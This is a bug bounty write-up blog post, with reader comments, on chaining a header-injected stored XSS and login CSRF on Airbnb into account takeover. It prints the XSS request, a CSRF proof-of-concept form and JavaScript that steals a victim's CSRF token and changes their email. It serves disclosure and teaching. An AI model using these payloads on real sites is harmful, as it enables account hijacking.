AirBnb Bug Bounty: Turning Self-XSS into Good-XSS #2

Hello guys 🙂

so this post is about one of my most interesting find while participating in bug bounty programs, yes interesting as its combination of many issues at AirBnb.

for those who don’t know AirBnb is running public program at HackerOne and i will suggest to participate in their program. 

here is list of issues which i got while doing research and used to escalate it further.

  1. Injecting XSS payload via True-Client-IP header.
  2. Exploiting login/logout CSRF.
  3. Escalating Self Stored XSS to Change victim’s account email. 

let’s go into details ,

Injecting XSS payload via True-Client-IP header:

Airbnb use to track users ip to show them under users security setting to make sure users are aware of via which ip or location his/her account got logged in previously in case of password reuse by others.

it’s good practice to give their users more secure feeling but not if its not implemented very well.

so this how users can see their login history under security setting .

login_track

if you hover your pointer to ?  icon the IP address of source machine will get reflected, so my initial thought is to spoof the source IP  as i heard about it before here.

I come to know i can spoof the IP with any IP using True-Client-IP header with login request, as result we can show any desired IP in login history.

Its good but still not convincing to report as its something we can do with our own account or for others we need password which is obviously not acceptable case.

credit goes to Parth for throwing idea of trying other strings instead of IP with True-Client-IP, so i did and any string get reflected under security setting directly and now we can just think of getting XSS , so i got.

Giving XSS payload instead of any ip with True-Client-IP header did the work.

POST /authenticate HTTP/1.1
Host: www.airbnb.co.in
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-CSRF-Token: V4$.airbnb.co.in$CpeQjCEtXnk$D7u8JuX39keALZgtvsmD3wr0_unmJBU3hVmj71h0Xlc=
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Referer: https://www.airbnb.co.in/
True-Client-IP: <h1>XSS</h1></center><script>alert(document.domain)</script>
Content-Length: 198
Cookie: [REDACTED]
Connection: close

utf8=✓&authenticity_token=[REDACTED]&from=email_login&airlock_id=&email=[REDACTED]&password=[REDACTED]

 

And this is how i manage to get self stored xss under security setting .

Whenever i make request to security page , Self Stored XSS get executed.

xss_airbnb

 

Exploiting login/logout CSRF:

As i noticed there no csrf protection login as well as logout, i can easily make anyone to get logged out from his/her account and get logged into my account and get redirect to security page where XSS will get executed on victim browser.

CSRF Poc Code for the same :

<html>
 <body>
 <center> <br>
 <form action="https://www.airbnb.co.in/authenticate" method="POST">
 <input type="hidden" name="utf8" value="✓" />
 <input type="hidden" name="authenticity_token" value="" />
 <input type="hidden" name="from" value="email_login" />
 <input type="hidden" name="airlock_id" value="" />
 <input type="hidden" name="email" value="attackers@email.com" />
 <input type="hidden" name="password" value="attacker@password" />
 <input type="hidden" name="form_remember_browser" value="yes" />
 <input type="hidden" name="redirect_params" value="https://www.airbnb.co.in/users/security/78323762" />
 <input type="submit" value="XSS ME" />
 </form>
 <script>
 document.forms[0].submit();
 </script>
 </center>
 </body>
</html>

 

this could be enough to report but still i want to check for if i can escalate further, my thought was to exploit this in victim’s account instead of making victim to logged into my account.

Escalation of  Self Stored XSS to Change victim’s account email:

at AirBnb social logins is also an option for using it, so users can use their Google, Facebook account and i got the way to making this XSS exploitable for users who using Social Login to access AirBnb.

and this can be done in following way :

  • Instead of normal XSS Payload, Injected remote hosted JS.
  • Victim to login into attacker’s account via CSRF
  • Attacker’s Remote Hosted JS will get executed .
  • JS will perform 4 actions in IFrame which are as follows :
    • Victim will logged out from attacker’s account
    • Victim will get logged into his account via Google Sign in
    • Attacker will navigate to page Profile Setting page
    • Attacker will Extract the CSRF Token from source code .
    • Attacker will update the victim email.

looks complex ? but javascript will do it at once, i need to mention some minor things, which helps to making the scenario successful.

X-Frame Header is set to sameorigin , so i was able to make those 4 different request via iframe in context of airbnb host.

Social Login users don’t have password re-authentication while changing the email, and once we changed it, we can reset the account via password reset process.

Making all in One : 

document.body.innerHTML='<html><body><center><h1>Testing :)</h1></center></body></html>';

var profileIframe = document.createElement('iframe');
 profileIframe.setAttribute('src', 'https://www.airbnb.co.in/logout');
 profileIframe.setAttribute('id', 'pi');
 document.body.appendChild(profileIframe);

document.getElementById('pi').onload = function() {
 var profileIframe1 = document.createElement('iframe');
 profileIframe1.setAttribute('src', 'https://www.airbnb.co.in/oauth_connect?from=google_login&service=google');
 profileIframe1.setAttribute('id', 'lo1');
 document.body.appendChild(profileIframe1);

document.getElementById('lo1').onload = function() {
 var profileIframe2 = document.createElement('iframe');
 profileIframe2.setAttribute('src', 'https://www.airbnb.co.in/users/edit');
 profileIframe2.setAttribute('id', 'po');
 document.body.appendChild(profileIframe2);

document.getElementById('po').onload = function() {

var lol = document.getElementById('po').contentWindow.document.body.innerHTML;
var ha = lol.split('"authenticity_token" type="hidden" value="');
var na = ha[1].split('"');

var ha2 = lol.split('https://www.airbnb.co.in/users/edit_verification/');
var na2 = ha2[1].split('"');

var ha22 = lol.split('"user[first_name]" size="30" type="text" value="');
var na22 = ha22[1].split('"');

var ha221 = lol.split('"user[last_name]" size="30" type="text" value="');
var na221 = ha221[1].split('"');

var ha222 = lol.split('"user[email]" size="30" type="text" value="');
var na222 = ha222[1].split('"');


 function submitRequest()
 {
 var xhr = new XMLHttpRequest();
 xhr.open("POST", "https://www.airbnb.co.in/update/"+na2[0]+"", true);
 xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
 xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
 xhr.withCredentials = true;
 var body = "utf8=✓&authenticity_token="+na[0]+"&user[first_name]=Got&user[last_name]=Hacked&user[email]=gothacked@hacker.com&user_id="+na2[0]+"";
 var aBody = new Uint8Array(body.length);
 for (var i = 0; i < aBody.length; i++)
 aBody[i] = body.charCodeAt(i); 
 xhr.send(new Blob([aBody]));
 }
 submitRequest();

}}}

 

Later Airbnb removed the Login History feature from account setting which was root cause of the issue for fixing it.

Video POC :

Conclusion :

  • Sometimes multiple minor flaws can be chained to make impactful attacks, so it’s better to consider these minor issues at 1st place to avoid any big issues later.

escalation must be reminding you something you seen before same as title, here is that awesome write up find by fin1te, credit to him for his writeup to share the idea of escalation & Parth  for helping me with Javascript problems 🙂

do let me know your thoughts about it in comments 🙂 

54 thoughts on “AirBnb Bug Bounty: Turning Self-XSS into Good-XSS #2

  1. akki says:

    Awsm find but will you plz clear one thing that whats a difference between X-forwarded_for and True-Client-IP header why you don’t use X-forward-for header.

    • admin says:

      Thanks !
      regarding your question, ya its same, i just used True-Client-IP where X-forwarded-for also resulting into same 🙂

    • newbie says:

      and more questions,

      – the ability to read the response content, in this case authenticy_token and etc.. is because the server missing some flags like x-frame-options ?

      – in the case of x-frame-options has been set, does issuing iframes
      execute the pages? i mean the attacker just can’t read the response but the page has been processed?

      • Geekboy says:

        For both questions, the X-Frame option is set to “Sameorigin”, but I already have XSS on the page, which allows me to call iframe.

  2. geeklearner says:

    Thanks for the great writeup! In case no SSO is available, only CSRF on login, what is the difference between hosting a malicious script in the victim’s self hosted page or going the extra mile and triggering the XSS from within the attacker’s account? I think if the user is already in the malicious page, so any malicious script could cause damage.

  3. Cybersaint says:

    Great writeup.. will like to review the javascript codes with you to understand the concept much better…..

    Nice one

Leave a Reply

Your email address will not be published. Required fields are marked *